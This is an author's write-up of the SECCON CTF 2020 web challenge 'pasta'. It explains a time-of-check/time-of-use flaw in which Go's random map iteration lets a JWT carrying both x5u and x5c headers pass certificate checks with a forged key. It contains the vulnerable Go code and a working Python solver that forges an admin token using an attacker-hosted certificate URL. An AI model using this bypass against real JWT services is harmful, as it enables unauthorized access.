SECCON CTF 2020 - Author's Writeup for pasta

SECCON CTF 2020 was held from October 10th, 06:00 to October 11th, 06:00 UTC. This article explains the summary of a Web challenge named “pasta” from the author’s point of view.

Author

@y0n3uchy

Challenge Summary

The challenge description was as follows.

I made a simple application with a proxy for authentication (http://localhost:8080). What’s fantastic is that you can log in to the application from the another app (http://localhost:8081). Enjoy!

Hint: source code

You can run this challenge locally by running following commands.

wget https://diary.shift-js.info/files/pasta.380c77e0c87dbabdf7800adc0a8f1286.tar.gz
tar -zxcf pasta.380c77e0c87dbabdf7800adc0a8f1286.tar.gz
cd dist
docker-compose up -d --build

As you can see in the distributed files, “pasta” consists of some services, like:

  • service-a: a service placed behind auth and nginx, including a flag.
  • service-b: a service that interacts auth service with a certificate verified by the root CA auth.
  • auth and nginx: services working as an authentication proxy for service-a.

As far as I know, “pasta” verifies the ceritificate chain, validates user-provided JWT properly, and manages secret keys used in the system securely. Each process itself has no vulnerabilities.

Vulnerability and Intended Solution

With closer look, you would find that “check” and “use” of a certificate chain included in JWT header are separated completely. “Check”, which I mean the verification of the chain itself, is handled by calling validateTokenHeader() in build/auth/main.go. “Use”, which I mean the verification of JWT by the chain, is done by passing generateKeySelector(&privateKey.PublicKey) as a key selector for the JWT to jwt.Parse and checking token.Valid at build/auth/main.go.

This situation reminds us TOCTOU (Time of Check to Time of Use) issues; we can hack this app if we can give it two different JWTs for time of check and time of use!

Let’s dive into the implementation of validateTokenHeader() and generateKeySelector(&privateKey.PublicKey).

func validateTokenHeader(token *jwt.Token, rootPool *x509.CertPool) bool {
	// signing method must be RS256.
	if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
		return false
	}

	// if x509 certs are specified in the JWT header,
	// they must be verified with our root CA!
	certs, ok := extractCertificateChainFromHeader(token)
	return !ok || verifyCertificates(certs, rootPool)
}

func generateKeySelector(defaultKey *rsa.PublicKey) func(*jwt.Token) (interface{}, error) {
	return func(token *jwt.Token) (interface{}, error) {
		// if x509 cert(s) are specified in the JWT header, use the first cert of them.
		certs, ok := extractCertificateChainFromHeader(token)
		if ok {
			firstKey, ok := certs[0].PublicKey.(*rsa.PublicKey)
			if !ok {
				return nil, fmt.Errorf("not a RSA public key")
			}
			return firstKey, nil
		}

		// if no keys are specified, use default key to validate.
		return defaultKey, nil
	}
}

As you can see, those two functions use the same function extractCertificateChainFromHeader() to extract a certificate chain from the given JWT (i.e. token). The implementation extractCertificateChainFromHeader() is as follows.

func extractCertificateChainFromHeader(token *jwt.Token) ([]*x509.Certificate, bool) {
	for k, v := range token.Header {
		if k == "x5u" || k == "x5c" {
			var certs []*x509.Certificate
			var err error
			if k == "x5u" {
				certs, err = extractCertificatesX5U(v.(string))
			} else if k == "x5c" {
				certs, err = extractCertificatesX5C(v.([]interface{}))
			}
			return certs, err == nil
		}
	}
	return nil, false
}

At first sight, extractCertificateChainFromHeader() seems secure; it iterates over token.Header to find header param named x5u or x5c and extracts a cert chain from the param found earlier. There seems to be no faults.

However, here’s an important point: the order of iteration over map is random, as the following tiny PoC shows. You can run the PoC at here(go playground).

package main

import (
	"fmt"
)

func iterate(m map[string]string){
	for k, v := range m{
		fmt.Printf("%s %s\n", k, v)
	}
}
func main() {
	test := map[string]string{"key01": "a", "key02": "b", "key03": "c"};
	fmt.Printf("iteration 01\n")
	iterate(test)
	fmt.Printf("iteration 02\n")
	iterate(test)	
}

This behavior makes extractCertificateChainFromHeader() work probabilistically! If the given JWT has the both of x5u and x5c and the function is called multiple times, it chooses either of them randomly, causing the different return value.

Hence, by including x5u param specifying a self-crafted certificate chain and x5c param with a valid certificate chain accuired from service-b, we can bypass two verifications (ok := validateTokenHeader(token, rootPool); !ok and !token.Valid with the public key selected by generateKeySelector(&privateKey.PublicKey)) at once!

Here’s my solver for “pasta”.

# this PoC requires `pip install pyjwt requests`
import os
import jwt
import requests
from time import sleep

EVIL_CERT_URL = "https://gist.githubusercontent.com/lmt-swallow/9b9f07fbede7f2e5b1a2c0d8fc7cfd33/raw/46fc75f96b50bde260241647f27357119a7d5fc1/solver.crt"
PROXY_BASE = "http://localhost:8080"
SERVICE_B_BASE = "http://localhost:8081"

def extract_valid_x5c_of_b():
    r = requests.post(SERVICE_B_BASE, data={
        id: "test"
    }, allow_redirects=False)

    auth_token = r.headers['location'].split('?token=')[1]
    headers = jwt.get_unverified_header(auth_token)
    return headers['x5c']

if __name__ == '__main__':
    # get a valid certificate chain from service b
    valid_x5c = extract_valid_x5c_of_b()

    # generate malicious JWT
    with open('solver.key', 'rb') as f:
        signing_key = f.read()

    payload = {
        "sub": "solver",
        "issuer": "evil",
        "role": "admin",
    }
    token = jwt.encode(payload, signing_key, algorithm='RS256', headers={
        "x5u": EVIL_CERT_URL,
        "x5c": valid_x5c,
    }).decode()

    # try to bypass authentication until we get the flag
    for _ in range(0, 60):
        r = requests.get(PROXY_BASE, headers={
            "Cookie": "auth_token="+token,
        })
        if 'SECCON{' in r.text:
            print(r.text)
            exit(0)
        else:
            print("failed. going to retry after waiting 1s...")
            sleep(1)

    exit(1)

Unintended Solution

You can solve this challenge by the following steps:

  1. Generate a your own private key and corresponding certificate (chain).
  2. Send a crafted JWT which includes x5u param with the address of your own server and signed your own private key.
  3. Return a valid certificate chain and your own certificate in this order.

This solution does not require randomness of extractCertificateChainFromHeader() :pensive:

Notes

The challenge derives from dupe key confusion of SAML. I guess this kind of implementation bug — a TOCTOU bug caused by probabilistic behavior(s) — might be found at any moment.

Written on October 11, 2020